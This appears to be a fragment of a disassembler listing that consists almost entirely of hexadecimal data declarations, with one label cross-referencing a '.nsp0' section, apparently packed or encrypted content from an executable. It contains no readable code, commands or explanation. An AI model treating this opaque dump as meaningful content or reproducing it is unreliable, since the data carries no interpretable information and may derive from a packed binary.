0A0DD0CB3h, 51444DB8h, 0E308F5EAh, 0E4080FE6h dd 99ABAC7Fh, 0EBE70DB2h, 61FE8882h, 3C476AE6h, 0C484B46Bh dd 30F91571h, 60E4D06Bh, 0D58F6680h, 9FAAA4A0h, 3FDBC804h dd 0D5CF6703h, 1FECC7BCh, 1E260089h, 21B2C1B2h, 59D63DD1h dd 4F77E008h, 1DC54E74h, 0B2630F3Ch, 2A431083h, 0E8F3228Dh dd 0DAF21C39h, 0CABD7F66h, 4AEA4968h, 92D74003h, 0BECD51DDh dd 61BB1BA2h, 99915A67h, 0B78D8C11h, 6E47C5E2h, 8F6F252Fh dd 3280C6CCh, 21161062h, 3C921880h, 8477F8AAh, 0AB5BDD4Fh dd 0D2487876h, 3D5BA932h, 84E6D587h, 76954E0Ah, 0B78EFF9Ah dd 805B53FDh, 7B133C13h, 854A25CBh, 0AF91211Ah, 85C6B02Fh dd 4B1F96Ah, 45772952h, 0BE778853h, 50181908h, 96B2EAB3h dd 5CC1A33Dh, 8D72BA8Ah, 0C6584BDAh, 0F7E07BC4h, 11C61F76h dd 0CB33068Ch, 0F7F68312h, 27DBF207h, 95D1CB26h, 0CA372717h dd 0C806022Bh, 0DDBCD27Bh, 5FC28822h, 7D34A669h, 3FB410FEh dd 2FC0EF4Dh, 2C26F208h, 75BC85E8h, 0BACE1B74h, 8E8FAE46h dd 0B1A8940Ch, 2567AF2h, 92F9D90Dh, 0A878615Dh, 7DC0486Eh dd 2E27705Ah, 5B916639h, 428CD6A9h, 57648EEEh, 14828EC2h dd 12764F67h, 66E9BD52h, 0D760705Bh, 8A8A2DB4h, 7CA578CBh dd 94AF66B7h, 3D398C76h, 3F9DAF94h, 0E2D9865Fh, 3CB7DC02h dd 0F8922C2h, 5F9AA06Ch dd 3913B382h, 0A57EA459h, 0F8B293C7h, 82B557Ch, 0F4B6477Eh dd 0EB009DCh, 0F0C24C0Dh, 0DB46DBF0h, 0F10EFAD8h, 3FE64BAFh dd 4111339Ah, 80B92A8Bh, 800DA5A9h, 0C225F28Fh, 0A8A0107Eh dd 4BF94A1Bh, 882E4A28h, 0C8C672E9h, 50C03AFCh, 0CCFE5E6Eh dd 0ACCB18Fh, 43322CA2h, 286605BFh, 71D9F3A1h, 40816979h dd 66DBEA2Bh, 5DE3CE0h, 52942E40h, 0FF115ACh, 0EE4A8117h dd 0D74B01D8h, 6E6CC3Ah, 0FC6AC0E3h, 7ACFD218h, 0CAE34CA5h dd 1F6423CDh, 0E79EA527h, 1C080BD5h, 0C43B1A4h, 28DF75BBh dd 1EB6C89Fh, 0E2C41253h, 851402ECh, 3E71874h, 440CD62Dh dd 0C5703854h, 0CC250236h, 72E78828h, 8A97189h, 560D188Eh dd 5D8E464Eh, 7EA65C20h, 75D54D1Ch, 605C0973h, 0EF18AA92h dd 0F18B0DF9h, 3E273119h, 0A60BF3E1h, 0F33BB5EFh, 29F7B91Bh dd 424A9352h, 0F51AD079h, 6A29AD9Dh, 300397DFh, 5A9CBBA7h dd 0EDA602E6h, 155C1227h, 0A61D60A4h, 84542930h, 6E86849Ah dd 922D289Fh, 6B7A1083h, 17181638h, 6B83D76h, 0CD03E396h dd 0D36010DAh, 0CD9F9206h, 0D9FB8FBEh, 39548B37h, 2B57644Bh dd 0E27A2FD7h, 18145FADh, 3D97401Fh, 48419EF1h, 0A5838152h dd 0DCA4ACEEh, 0B5592F10h, 4F855745h, 0ABAC8600h, 8DC39383h dd 0FE5B224Ah, 55010394h, 0E8949D37h, 0B4D1A440h, 2A7D3E7Ch dd 0D6906B59h, 4FAACC9h, 531FA8F3h, 0FAF3B4B3h, 0BFEC8688h dd 9955A78Eh, 8BB1C128h, 0CE1C99CCh, 0DB9FCAEBh, 264052AEh dd 658F6D8Bh, 571A557Bh, 734072CCh, 2738CD7Bh, 57669A44h dd 8C50C019h, 0C1BF11F3h, 592D6E23h, 3D5F24D6h, 0C4568E34h dd 684098Eh, 0A19D8728h, 5B3FA5BFh, 0E7753559h, 0B14644E7h dd 501154C4h, 2DF4DD45h, 926CF457h, 6C034CCDh, 0AAF0536Bh dd 7D23032Dh, 548F420Bh db 3Dh byte_515545 db 61h, 4Dh, 3Dh ; DATA XREF: .nsp0:00451F5Co dd 10A00E6Ch, 0D2EA9948h, 4A939011h, 307840F9h, 5B4532E8h dd 702F1EA1h, 3E8AD9CEh, 2DF1B0A5h, 377B9A93h, 66D974C0h dd 6D5A766Bh, 7D4FC0DCh, 9304E323h, 0D303550Ch, 8FCB60A1h dd 3A10C370h, 585B5A35h, 9C8056A4h, 0CC55B32Dh, 0BE40FFB5h dd 6AAC95B9h, 0BE19CD3Bh, 151BB919h, 4F79CD09h, 0C0A7AD9Ah dd 9668E132h, 1FC06E2Ah, 47D4CE43h, 25C5DF6Dh, 1897DD2Bh dd 0AD33DB13h, 70A953F3h, 955846FEh, 0D44081BFh, 10D32F30h dd 5AFC0660h, 0A4F3E0B1h, 33DB327Ah, 2355F4F8h, 6544AF9Bh dd 0B461B389h, 0A3455698h, 3204B4Ah, 2E7C22EDh, 0F1FB7152h dd 62E31D5Eh, 54019313h, 0D4DC827Ah, 5B2ED3ADh, 519162FCh dd 34DF1DD7h, 0DBF1A443h, 0C47082D0h, 4B5287B7h, 0ED0E0D98h dd 9100DC8Bh, 0F6B3E78Ch, 3862B738h, 0A43767A7h, 99A36A35h dd 8FE2261Fh, 0F457D036h, 84BA592h, 3149451Eh, 4EF0BD82h dd 8D59177Fh, 0BAFF0D47h, 0CFD0B651h, 7483D1Ah, 0BBF0988Ch dd 0B163EBC7h, 0F4D1593Ah, 0B4F26394h, 1D4EAF5Ah, 48EE760Fh dd 0CD97C07Fh, 0B1B998D1h, 881180CCh, 0E0CDD709h, 1DFC2E2Ch dd 0FC345D2Eh, 0EBCEDCD8h, 2BF9D66h, 9BB270DBh, 309F00B8h dd 5C2833A7h, 0F6E5BC17h, 6F48EB8Bh, 1F274401h, 19122502h dd 0EF5BEC4Eh, 7F257CD2h, 0DC6D132Ah, 22685BE8h, 0F94A64D7h dd 3B63F66Ah, 0C499EFCFh, 0AD29C37Dh, 0F2ECA66Bh, 0F5955685h dd 0DAB84D19h, 5D87484Dh, 715FCBF1h, 1BDD35ABh, 6E509B18h dd 0ACBEA349h, 7374BC32h, 9FBFBC19h, 888332F6h, 2D42D7B0h dd 0EAE65EF7h, 11DC70CCh, 9070465h, 0CFDABF7Eh, 3EA7DF7h dd 32329B67h, 71D2B334h, 94F68AD1h, 2BC1732Ah, 6E9BE024h dd 22EED28Bh, 96F61ED0h, 0D91A27D6h, 482DDC10h, 973F52CCh dd 0DF28FA5Ch, 446E830Fh, 5F599786h, 0E435F303h, 7305A638h dd 2319CFFBh, 69431DAAh, 0E77BB599h, 59E54A9Fh, 85E6064Ah dd 24A07CC9h, 701A9CD1h, 0BD07361Ah, 43FCAA0Ah, 9F6537EDh dd 0F879E158h, 4E0370DBh, 60D932A0h, 39ADD6F7h, 806A6DE5h dd 862B80E5h, 24E5347Bh, 0FB166419h, 1554C76Bh, 0E69E0DB7h dd 0FD5300CFh, 0B72D0A1Bh, 58B6FF68h, 56539D14h, 9ED6394Ah dd 0A1CB50F7h, 39B29506h, 0BF7F67D9h, 0B1D53F58h, 0D1037EFh dd 0AC97081Ch, 727B1189h, 3FC5F44Dh, 0BCF5DBE7h, 5EDDC3F8h dd 0B87ADA75h, 0C00489B2h, 0CD724414h, 64F63E79h, 753F9B9h dd 0EFBCFA4Dh, 9C421A06h, 0B9A39026h, 12E27F47h, 0E3A91022h dd 9500B5B5h, 3E967E8h, 782B8F6Bh, 5583224h, 4407F843h dd 54BB4C26h, 0B738BFE7h, 5FD07DFAh, 2E310238h, 43F2165Ah dd 0A0389DF5h, 8F777180h, 7D36E63h, 71FE0622h, 0B853F8CAh dd 73D2838Eh, 535AB206h, 2CCD2A0Eh, 676662B2h, 42BC5E11h dd 2D9C9C11h, 30A10E0Bh, 66128D70h, 30A078FCh, 146C9BE7h dd 78D0D787h, 2226A34Bh, 17677E4Ah, 0BDB176CCh, 93B3D76Dh dd 0ADB024DDh, 0C36A8674h, 0EC70FD37h, 685A7892h, 3B69F4DCh dd 58A7E1D6h, 0A59BC33Bh, 7E2010Ah, 8C5B9AA8h, 0DC23C04h dd 8B8A8C26h, 11401DCDh, 90294FE6h, 2331AD23h, 0A0B4F39Dh dd 0A4EBF3AFh, 0B1774EA0h, 52395F36h, 5EBDCA0Ch, 0E9C53E41h dd 0B6A5B3D8h, 0CD5AA705h, 0DEE79DDBh, 9FCA6A1Dh, 0CE106C54h dd 0ED3F2BBAh, 6E394757h, 0EC4F806Ah, 0C5922095h, 20F23E86h dd 0E95A13C8h, 2DA0DEE8h, 7C7F9943h, 26B860F8h, 542264C0h dd 87F4A95Bh, 0CC668EE5h, 0FD33536Eh, 439E57AAh, 0C1797C59h dd 0CDC1C44Ch, 0C113E8F2h, 9A1DCBB3h, 22B6C36Fh, 42C842C1h dd 0B39D2E6Ah, 0D06C1B17h, 135A9F39h, 7D91B193h, 2FCD3E02h dd 0A599BB13h, 3A0E33D5h, 8AA5C836h, 0F33C45DEh, 0D3DD715Bh dd 4DB665FDh, 68D46BD6h, 79F9F2DAh, 808DF60Fh, 4875997Dh dd 0A031D530h, 0C2B6DE0Dh, 879E1058h, 75D7CF7Ah, 38C5B98Dh dd 1DF1341Ah, 0C7C142D2h, 83517221h, 85BA850Fh, 0B29677B8h dd 0D449099Ch, 2D53D8DAh, 8B2621ACh, 399ABA87h, 1AA24A6Bh dd 0F17B3D55h, 9FCEFD16h, 0A16537B8h, 812A8D80h, 0BE483244h dd 52CB0F7Ah, 0CD633587h, 1526DB5Bh, 14F0E7FEh, 9A8CE651h dd 0BAE49B16h, 0C1187AEAh, 775644A2h, 0E439D0D2h, 21CC0DDBh dd 4305F786h, 6C59FC69h, 0BF686D08h, 0ABD04EBFh, 0A921FF8Fh dd 6B35EAEDh, 0B9128F84h, 4B39B8E3h, 0BEEDD68Fh, 0C3C76EB6h dd 332C2C4Ch, 81D10AC4h, 0E0E76059h, 7CD72649h, 0C957A426h dd 0C11BFC4Eh, 8F5215F0h, 0A9B4C949h, 6966DA4Ch, 0FD0F0AE3h dd 5FC3C5F2h, 0F500E63Eh, 4D7A0D2Bh, 9D9BA0C3h, 56C9D6B3h dd 0AAA10BE5h, 16E93AB3h, 0F7435C54h, 7311C0FDh, 0DE588146h dd 6936C1E6h, 8E9D043h, 0ABB3FAB1h, 33F33501h, 8B1152FEh dd 676E5578h, 35AA3818h, 2E55BF03h, 0AEBBD615h, 7F9579B2h dd 0CFE64B78h, 23D7D888h, 0F8BFA979h, 0A0CCDC1Bh, 0E429936Eh dd 0F7A9B9F6h, 86C23446h, 8881B81Eh, 897DCA4Fh, 0FD680BB5h dd 7BB96DCFh, 791E647Dh, 94CF33Bh, 79216573h, 0DFE89633h dd 991F360h, 252D9285h, 4BC5FC18h, 363A06Ah, 0EBAE55F1h dd 8074F5D7h, 6B467170h, 0D6B01F2h, 7DC91CAh, 43D4D357h dd 0E20A0E5Ch, 9A87D697h, 24DCDD5Bh, 57F64F3Ch, 0BF90087Fh dd 0C8974666h, 3FABF94Fh, 0CDF9382Dh, 0D17EF640h, 8BFC1588h dd 6F5C7033h, 30A7F001h, 0D90BA81Dh, 0D56DA783h, 4AB35F1Ch dd 9F2EC77Dh, 3FAF4DFEh, 4499D19Ah, 47D2B57Eh, 0C1B3790Ch dd 0CFD28D78h, 5B97E3AFh, 0EC20127h, 99700BC0h, 8459718Fh dd 0FBC128F5h, 7B39AF3Eh, 0E111C9C1h, 0F4701A60h, 1A6A04CDh dd 1306AB91h, 0BDCC29BCh, 980DE4F7h, 95863BA3h, 0ED4739A4h dd 0ED6F308Ch, 7C76DC3h, 975D7DC8h, 1ABDAAB7h, 0D8089F1h dd 1222D1EEh, 0E67BBC2Bh, 0EFFA4D99h, 1927269Bh, 0F827DDE3h dd 0A7370E3Ah, 8198440Fh, 9CD74C4Fh, 736737A3h, 95EAD6E9h dd 7F6BA680h, 0F69A4E5Eh, 0B6C16964h, 0F08A5D70h, 76F2090Bh dd 387DE786h, 0F5BE0EBBh, 577EEFABh, 0B9D98A53h, 5A2D5B80h dd 0E98CCA8Ch, 0CB7E3565h, 0E54716DDh, 0DA654569h, 98F5BD0Eh dd 0F6533EF8h, 0D6946E76h, 63DF09E2h, 0B57FCF92h, 906382ABh dd 2AB4701Fh, 2FD9E676h, 0E08C4E6h, 734BB4EAh, 267DD606h dd 23200C27h, 9CD77F85h, 539C5E0Ch, 93DFD21Dh, 0DC3B8A10h dd 773D090Fh, 75E5F761h, 855060A7h, 50B4C9A4h, 0A64CC5D8h dd 0F0369FBFh, 17B05B1Dh, 0CEA0A87h, 9494930h, 0C39A2E6Bh dd 0A514F156h, 55CF4EAAh, 2FA2B05h, 7D8ADB23h, 2B31DB40h dd 7B884C03h, 0BD78A7EBh, 0B196FC00h, 73E1A01Bh, 0B99C267Dh dd 74B79FB3h, 3678714Fh, 0CCF5EC7h, 0A2311831h, 58A59058h dd 0DDD7C910h, 766CF4CEh, 3370EBC8h, 0BDFEFE75h, 0BF90123Bh dd 3AEFBBD1h, 0CCFDA5D5h, 6BB11270h, 0DE836B37h, 0AEE4E6EFh dd 2E71B1B1h, 0C65C32Ah, 0C00CF429h, 0A799B6DBh, 94B48DF8h dd 0C0F9E51Ch, 281C2CAFh, 0CDA3F196h, 3D212292h, 64D118F6h dd 0EF1E642h, 73EE7E4Eh, 229058B4h, 2D7011CBh, 0D8BC0BC5h dd 0E84AEF0Ah, 0C3471EB4h, 0BCE1B12Ch, 0DA8CB011h, 4AA95EE1h dd 2FCA6A0Fh, 68FC280Bh, 5FFF4B64h, 0A31B01ABh, 8B6CF66Eh dd 3A1BAE9Eh, 0B1509C02h, 82A831D4h, 4C75159Dh, 0E7B9FA24h dd 9A6E4BFBh, 0AEEA6A2Dh, 7E453394h, 55514FC4h, 3C79343Dh dd 6C0BF8BBh, 430BD852h dd 0B4E83250h, 5B677F84h, 96B3EEF8h, 528BA729h, 0EF449DB7h dd 0AF69E2E3h, 7ACD675Ch, 0CBDE1F26h, 59735237h, 19E115FDh dd 0A43AA0ACh, 22CF80F5h, 0B605274Fh, 60B5E123h, 2ACE4F31h dd 0D633C73Fh, 0E75C1FAFh, 136B7CDFh, 285545AFh, 0FDAFC36Ah dd 0A4956538h, 0F11E7A69h, 0D78E2FFAh, 87A01278h, 0BFFDC216h dd 4053B4A3h, 67EA81D7h, 295F39E1h, 0B60192C0h, 4421A150h dd 0DC2B829Eh, 0DFDD2DDEh, 0B1AACF6Dh, 8E69085Fh, 5C3D242Ch dd 808C4133h, 6D0CC95Bh, 9C51880Ah, 0CC6B203Fh, 0EC32914h dd 78D36284h, 0BFF01E04h, 2A90002Bh, 0F3D53F30h, 0B10AA0FFh dd 3A8866D7h, 40F21999h, 2CFA6DA4h, 6C980C12h, 0C6F0EAD1h dd 884B5958h, 0FABCC149h, 0F49D9DC3h, 8651CE62h, 4C642FA0h dd 0B4B5BD56h, 0FFA10D8Ah, 36E06682h, 3084975Bh, 9EDB0B43h dd 9E804B65h, 0C1D69724h, 12967833h, 0AEDABD7Fh, 0AB07AE17h dd 4C18CBC2h, 0FEB95343h, 4B4C90D3h, 79DEAEB2h, 2E48AE4Eh dd 0ADF6327Eh, 1CDD64C3h, 6CADAAF5h, 487D1C8Ah, 0A989AEE1h dd 97239305h, 85D0022Eh, 0B3006342h, 3298225Ch, 2EE128Eh dd 9EC2273h, 0EA5BE5E2h, 830D213Ah, 62E69CB9h, 9F6CF150h dd 388FCBDAh, 3AB1C985h, 2BB3C32h, 3DC6AFB7h, 7E2F0C1Ah dd 4B3B8D6h, 6220FAB8h, 0C23B43FCh, 0FF495D2Dh, 0D41AD5BAh dd 29CAF639h, 95872921h, 0E9BFA42Dh, 94EA38E0h, 71E2A3FCh dd 7EB6862Dh, 3C1B7F0Ah, 0B47E5687h, 0DD94D5ADh, 86276047h dd 0A7A5A3FDh, 0C9ABEF3Bh, 643DA904h, 44A03D8Fh, 0D0957ED3h dd 0D7B4EE1Ah, 537D8939h, 10008A53h, 0D107A00h, 0C8A9735Fh dd 718E80A4h, 0B96B9214h, 0CA4E0708h, 0AC812C43h, 0D0B77C47h dd 2F25984Fh, 49C29FC7h, 8626EB25h, 5F772269h, 0EE1A87A2h dd 841DE028h, 4EC1E4C0h, 684D9D4Fh, 5B66773Eh, 69D63452h dd 0EE624CD3h, 0F25518B2h, 4A661D70h, 0A3FED426h, 5EE7D3C6h dd 0F52FC656h, 810883B9h, 5231152h, 70C6B16Ch, 0B8BAE33Dh dd 0CB1B4A88h, 1260670Fh, 8072FF26h, 0A8B06738h, 3576B55Eh dd 3F1E6CB2h, 1889CFDFh, 0F178BFE8h, 5E41D678h, 79C68917h dd 8D16A961h, 86FAB64Ah, 3A7C0414h, 55EB5D87h, 26B136EBh dd 68F40D46h, 9005BCC4h, 0AB454D7Dh, 31BDA0D3h, 76A0FD9h dd 149AF0D3h, 6E10160Bh, 14D60452h, 20EC82E6h, 1264FA61h dd 70788520h, 0F36CCF55h, 0A8351B26h, 275FE79Dh, 270DAE1Dh dd 82410B20h, 0C0D0127Eh, 0E6CB437Fh, 0EAB82A12h, 0FB7C9558h dd 38F9FBF4h, 4709E43Bh, 8CA7E72Dh, 0BEC74A59h, 182E7E36h dd 35E0D58Ah, 1BD38FE3h, 7F2D21F5h, 0DC047091h, 0A810AF5Fh dd 47A513CDh, 0C277B14Eh, 0BC77E9A4h, 3A6D60C7h, 0BFAAD3A3h dd 0FEA4EDD9h, 0BED4F9D8h, 0B130A5AFh, 0C3F7F05Bh, 0F709CD5h dd 0B8113454h, 0D9651403h, 8C169F08h, 98DEC6B2h, 0BE675F60h dd 0F191443Dh, 0D721FC7h, 0B5F5984Ch, 0D5BB6882h, 67B84186h dd 0E409D56Fh, 4A534A7Dh, 360CA383h, 15D5B83Dh, 0C6637FE9h dd 0A4787955h, 660212B3h, 39D1BA06h, 95D5EAA6h, 418D73D1h dd 0DEAF331Fh, 6373717Eh, 1DC88422h, 6F118805h, 67E80E63h dd 4D88E63h, 744DB2Ch, 16F49F5Bh, 0EAEDF504h, 0C2DBA6B9h dd 6543D436h, 4A5DADF8h, 0B7778B84h, 4E719179h, 76F95694h dd 0E66C926Fh, 7287E171h, 9AEFFBBh, 1F325687h, 569B3FC6h dd 0C9AFEEBCh, 58462B5Ah, 0B8D37725h, 5FAD676Ch, 90AC97E3h dd 0F13398A3h, 0A59EBA23h, 92954E33h, 43404BBCh, 0C72D605h dd 2CFE778Ch, 1AB5A7A5h, 30A403BEh, 0CD8DF3D6h, 77B2590Ah dd 1D32F96h, 0AF79560h, 0D4A53309h, 0D1F5ACD1h, 0D2CF21EEh dd 4DEF09D5h, 0C58C9C1Dh, 0DE9FDBBh, 0EBC0D002h, 69B3FE8Bh dd 3DFEA8FDh, 0B74ED302h, 0C0790A1Ah, 8AF90239h, 0EA0C3FE1h dd 57D06B62h, 8609892Bh, 0CA8FA5F1h, 36177C45h, 0C4316F01h dd 67903DF0h, 77B2903Ah, 0BD791086h, 0AE5BE75Eh, 530B5D84h dd 7F7156FBh, 0C0CC1F26h, 9317ED41h, 1CBA9AE0h, 7222FB8Ch dd 0A753C4C3h, 3CD3DB66h, 0B0224684h, 2193C9FDh, 0D0296A0h dd 0C744B72Bh, 0C3EC6D51h, 5837847Dh, 0F7500CEAh, 39604FB6h dd 0F81E2DDBh, 0EA412795h, 2D8E4AEDh, 70DEA5E3h, 49E2F6D2h dd 0B22FBBDCh, 2257FB27h, 8473C13Bh, 0F3D7630Fh, 0FA1BAD7Fh dd 56587813h, 0A3AA648Eh, 4415BEDEh, 7BB08462h, 0FE034D77h dd 62A7AB04h, 0B935DC8Eh, 96A46FB3h, 760DB02Bh, 60C1E879h dd 0CCDA44F4h, 38F4EBB9h, 0F7E264B6h, 19C72B7Fh, 787572A8h dd 0A6EBAF43h, 44E22A9Eh, 9E2A655Ah, 0A7DAB3D3h, 0FC2718D5h dd 60A32F36h, 8F16681Fh, 49A3369Ah, 6572DEAEh, 76E7EAA0h dd 658CBA5Bh, 0BF284CBAh, 95A0EA42h, 0C5EBD993h, 782E66F8h dd 0C17D4465h, 0A87193A8h, 284A2B14h, 0CA6BD5Fh, 49B9DB1Dh dd 84B91A2Bh, 0E257398h, 0B583333h, 0F4F0AB53h, 75D35BA4h dd 1A778DB1h, 5F0D32A9h, 0F411E0A3h, 6479EF9Bh, 0A464F3F7h dd 0DF23448Ah, 8A74B6DAh, 9DF5E97Eh, 20DD005Eh, 1DFF47DBh dd 87D3E1EDh, 0A2CF085Eh, 41BEAE2Ah, 0A83BC00h, 6A2746BDh dd 43BEE2DEh, 0FEE62884h, 0A4741F6Bh, 8297217Fh, 613DF409h dd 2D14588Bh, 0EB5F827Dh, 495494B7h, 8E894D9Ah, 0DD4A8F3Ch dd 0D94D57FBh, 0CDC89C2h, 0C1D52D63h, 879A1FA3h, 0D0F8A4F3h dd 8CAD2B03h, 0B7FE2FAAh, 4765B10Ch, 3BA84AD1h, 0C1351D68h dd 1292A52h, 10506CE7h, 0A07A4DD6h, 9EF0A5E4h, 0CB21C5B6h dd 7FF0C740h, 623B303Dh, 5F993DD2h, 0ABA07096h, 68682465h dd 0EC783F4Fh, 0BBD3162Ch, 0DDDD8033h, 39A8E5DBh, 0CF4343DBh dd 5DD22C8Bh, 0A67DC6DEh, 0D6420C9h, 266CEBA5h, 455B73E1h dd 0B292C53Bh, 22D61985h, 0A777429Bh, 55EB904Ah, 0E5B09C4Bh dd 0E79E0138h, 6F32887Bh, 0CD6D50EDh, 0FAB63361h, 542B3D43h dd 0D473833Dh, 713E7894h, 81D02742h, 36F8EBEEh, 90E2949Ch dd 83CD8A38h, 5B11B61Eh, 0C461FD4h, 5BC8DA34h, 0CA8C5B89h dd 10E2B464h, 0F47AD45h, 961D4C1Dh, 9A7EB606h, 0C02A74D0h dd 2EA99A4Ah, 0BFE2923h, 77DFC126h, 0B787DE80h, 0F5F331BFh dd 3B051C4Eh, 0EEE441F0h, 9859CBF2h, 0ED3BAA35h, 653918E3h dd 69D56D3Eh, 0D80E3C2Dh, 1F2244CBh, 90CF808Fh, 87272A0Fh dd 3E1B9BB0h, 0AAD90539h, 352BF90Eh, 13109F02h, 0AFE64DE1h dd 43CCA70Dh, 0A0BB304Fh, 775CEC0Bh, 0A8E45D6h, 0DED0EE89h dd 1C934B35h, 0A7BA9601h, 9DD4E5C0h, 54EF9188h, 0AA289191h dd 66A9185Fh, 63AF8559h, 3FF2B78Dh, 2400EEB8h, 83BF999h dd 0FE63C30Ch, 3DF1E42Ch, 0F893D168h, 0C0044004h, 0E8EB469Dh dd 0FF797CD0h, 0CE58D2E7h, 0C2EE1B3Fh, 0D4D8FC95h, 4DB29954h dd 156F502Bh, 3DA3D6D4h, 1214B82Fh, 9A0CC823h, 0A131F211h dd 4FD1FE9Bh, 9D4D1583h, 0D855828Fh, 637BBCD2h, 0E1EE839Ah dd 485AF89h, 81168A33h, 6D1ADB37h, 62D8B333h, 83E2628Ch dd 0EAF00DA8h, 0F2EA886Fh, 94657DDh, 0B7C478DBh, 0C5758D2Dh dd 179DFCA5h, 4A0EAEA0h, 9DA3C380h, 0D647E465h, 0F84A23A7h dd 0D6D2E4BEh, 865F3302h, 9BF65144h, 0A1E8322Ch, 0B80B9210h dd 0FBE3846h, 0A85B4B3Fh, 0A1D15601h, 50D811A5h, 0D9F8D348h dd 5F0AEA11h, 0C74E1548h, 75188814h, 60DD41E0h, 925CA3FCh dd 0F12F7255h, 382919D1h, 5ADD32CCh, 2D4552ECh, 40B2365h dd 3B675D3Ah, 0FBF52A7h dd 3E598667h, 0C5DDB39Dh, 50B92E54h, 7095D347h, 0A264A41Dh dd 0FF22C449h, 0A0E2C7DEh, 19D811BDh, 0AC7648A3h, 3FD2CD1Ah dd 0E9AC6C7Dh, 0A156127h, 0C465A63Bh, 994ECFEFh, 7121AB96h dd 7EE4955Bh, 0D41F8780h, 1F0B3E0Dh, 11816AC8h, 6BF58599h dd 0DB72701Dh, 6D8E2673h, 97D600C6h, 35D6E338h, 0C4DF6EE4h dd 7D2E2D2Ah, 6A2C6F9Bh, 46608068h, 972E98B9h, 22B22276h dd 82F58D1Ch, 49B1A075h, 75E1C6ADh, 0F533150Ch, 0DBF01AD1h dd 63B19748h, 6DC0C3DCh, 0D4FA3330h, 0E02D7C8Bh, 8B1B64F1h dd 2C66CC2h, 890A4F33h, 0E6126692h, 0FB0BEF32h, 895A0E66h dd 46051CCBh, 0AD1FFA86h, 4C58458Eh, 4AABA1A1h, 0DF6D798Eh dd 44CE9AE2h, 23F5A09Dh, 1594C7h, 7F559D62h, 14004488h dd 508537F7h, 45CBEB03h, 59AC2C9Ch, 8FCDFCDFh, 0E07AF0DBh dd 57D5A045h, 8FF5195Eh, 5D354D83h, 775BE540h, 930B2AE7h dd 0C6301EE2h, 6ED44DE2h, 2B4CBF09h, 7E72B3EEh, 46F0E4C6h dd 759732F2h, 83081A59h, 5D23E3E6h, 0C6575033h, 0FEEEF688h dd 21205807h, 0BE945385h, 0EB553160h, 0CDBA3813h, 44361D5h dd 10E9DB5Ch, 0C5A7207Ch, 61ED8C21h, 47B33B08h, 0E529E0B5h dd 71C4FD3Fh, 539B7269h, 2942C037h, 0B1873686h, 8DAE902Dh dd 6E132AA3h, 3A83F86Ah, 3FC82FBFh, 9020E743h, 2E59BCC2h dd 0DC78BD48h, 0CA901C7Ah, 0CFCD2998h, 0F3FF2202h, 0CAFD6A96h dd 0F995AA6h, 5BEE528Ch, 9832C7C3h, 0A0614E2Fh, 25179672h dd 5EE5AB7h, 0B43CC59Bh, 32A3110h, 26A30A22h, 3702F2AFh dd 2565E940h, 0C256AAFBh, 5887C058h, 4E89B304h, 5BD0C91Dh dd 9E67FEC8h, 0B5BEAFF0h, 481C2CEBh, 0ECB9B010h, 26714E7Bh dd 3706CB39h, 0E4256036h, 560F45CAh, 0A1CBBE1Ah, 0EEFCEDEh dd 1D6248D2h, 0AD0C14ACh, 8FE7F5Dh, 0B856C081h, 0DCD25ED9h dd 76492188h, 261C1165h, 0EABE9D13h, 0F589E94h, 0E83E382Eh dd 0BD1886A4h, 510D06C1h, 0BE3622BEh, 0D6AE4BC5h, 0D00BCB55h dd 0FF26ED0h, 2D22A10Dh, 0B42188CDh, 52D4F46Ah, 43FAA987h dd 4FF15DF4h, 0F267FC15h, 0FCA1E8C1h, 1E14D5B0h, 0B43ADA8Dh dd 4C03BB3Dh, 0D0B35796h, 9BD1AEA8h, 90982D2Fh, 6FA16A47h dd 0E47C4189h, 6FB4C119h, 320EFBECh, 0C6451DCDh, 0A1D5E0E2h dd 0C821027Bh, 419DF566h, 6E0EED76h, 694E18Eh, 6C67123Dh dd 1A0DB38h, 98DB8445h, 2CB9D8EDh, 5E135AD7h, 0D6788DB6h dd 94010AB1h, 0C00194E2h, 9B225AF7h, 0F7C16387h, 0B5AC934Bh dd 589D7ECEh, 82D2038Fh, 0DC428468h, 0D9270274h, 7D4C17F0h dd 5794BC61h, 690726D5h, 38C4AEDEh, 0D58330Eh, 302C769Ah dd 25B0590Ch, 593749EBh, 38312408h, 892AFFC8h, 0F9AF524Ah dd 191631DFh, 82075C85h, 0D2786903h, 6B43F6E5h, 42449D02h dd 5AD7CED7h, 0DFF050Fh, 0BB6AC88Bh, 0A109BBE8h, 4CCF0BA7h dd 0FDFA10D9h, 23CB4AAh, 0C6F1AF37h, 0A49A36D3h, 60FD78FAh dd 5CEA8ACDh, 4E2B3046h, 83DAAF0Ah, 75BD28CEh, 0F8227B27h dd 17CAE750h, 47C163CDh, 0D882F854h, 63F77C82h, 0E7795480h dd 0B37A6914h, 2FB83D31h, 44F379ABh, 74CABCBFh, 0EBA0088h dd 1E20B865h, 0D08EB7BAh, 1F649E98h, 7B8698A9h, 4F21417Ch dd 2266752h, 5DE7A351h, 0EA51E7C9h, 0F1ADEE69h, 803E6461h dd 0C5D519BBh, 0DFB92F12h, 93C7911Ch, 10CCC9EFh, 3848BBD1h dd 0D26F1AA7h, 5BDD7E86h, 1BE2E1DEh, 7A57A3E7h, 0CC661881h dd 29CA3FA0h, 0A9E4467Bh, 0C971A9C2h, 5254F1B3h, 76BAD8C0h dd 0CF797682h, 92E41E7Dh, 5029078Dh, 188C9544h, 0A778E19Fh dd 665C1E43h, 85029503h, 0F61484D0h, 0D8DC0CBDh, 14C79171h dd 0A4DC1084h, 9BBBADDDh, 3F471877h, 18388A69h, 57E29515h dd 333D95Dh, 0E24D628Ch, 86C58BD7h, 0D8D9DED9h, 0BDCB7FA8h dd 528C11C1h, 25D538FAh, 49F94338h, 7F0466EAh, 4572960Bh dd 7B81CB0Eh, 0B3A1A306h, 53A57E04h, 0B2E9983Dh, 4F686234h dd 5B3C83DBh, 0F67DCB39h, 0F317DF51h, 0EE202D9h, 0BD356D01h dd 97A13768h, 0C1EDA68h, 50A8CC5h, 383126ABh, 90C425E5h dd 0EA62F6FCh, 0D2E95C9h, 7CB975EFh, 9D494B9Eh, 0B5616B22h dd 14C0221h, 0DDF31A75h, 0E12DA920h, 88DDA5B2h, 8A317154h dd 8696955Fh, 8F733AE2h, 2CC29A67h, 65D73006h, 562FAAFBh dd 0F1C75822h, 0A3D5362h, 7E527508h, 612B2FEBh, 0B0AF19ACh dd 0CECC9A79h, 5051E726h, 32B2A3D2h, 0E69748FCh, 0BBC9BA05h dd 0DCD3E5ACh, 0BB7BE1F1h, 4102B0B7h, 7A6025DCh, 0BF33CA34h dd 819C664Bh, 533C7B79h, 7C190DDh, 4204C8Ch, 6E752FFCh dd 496DD695h, 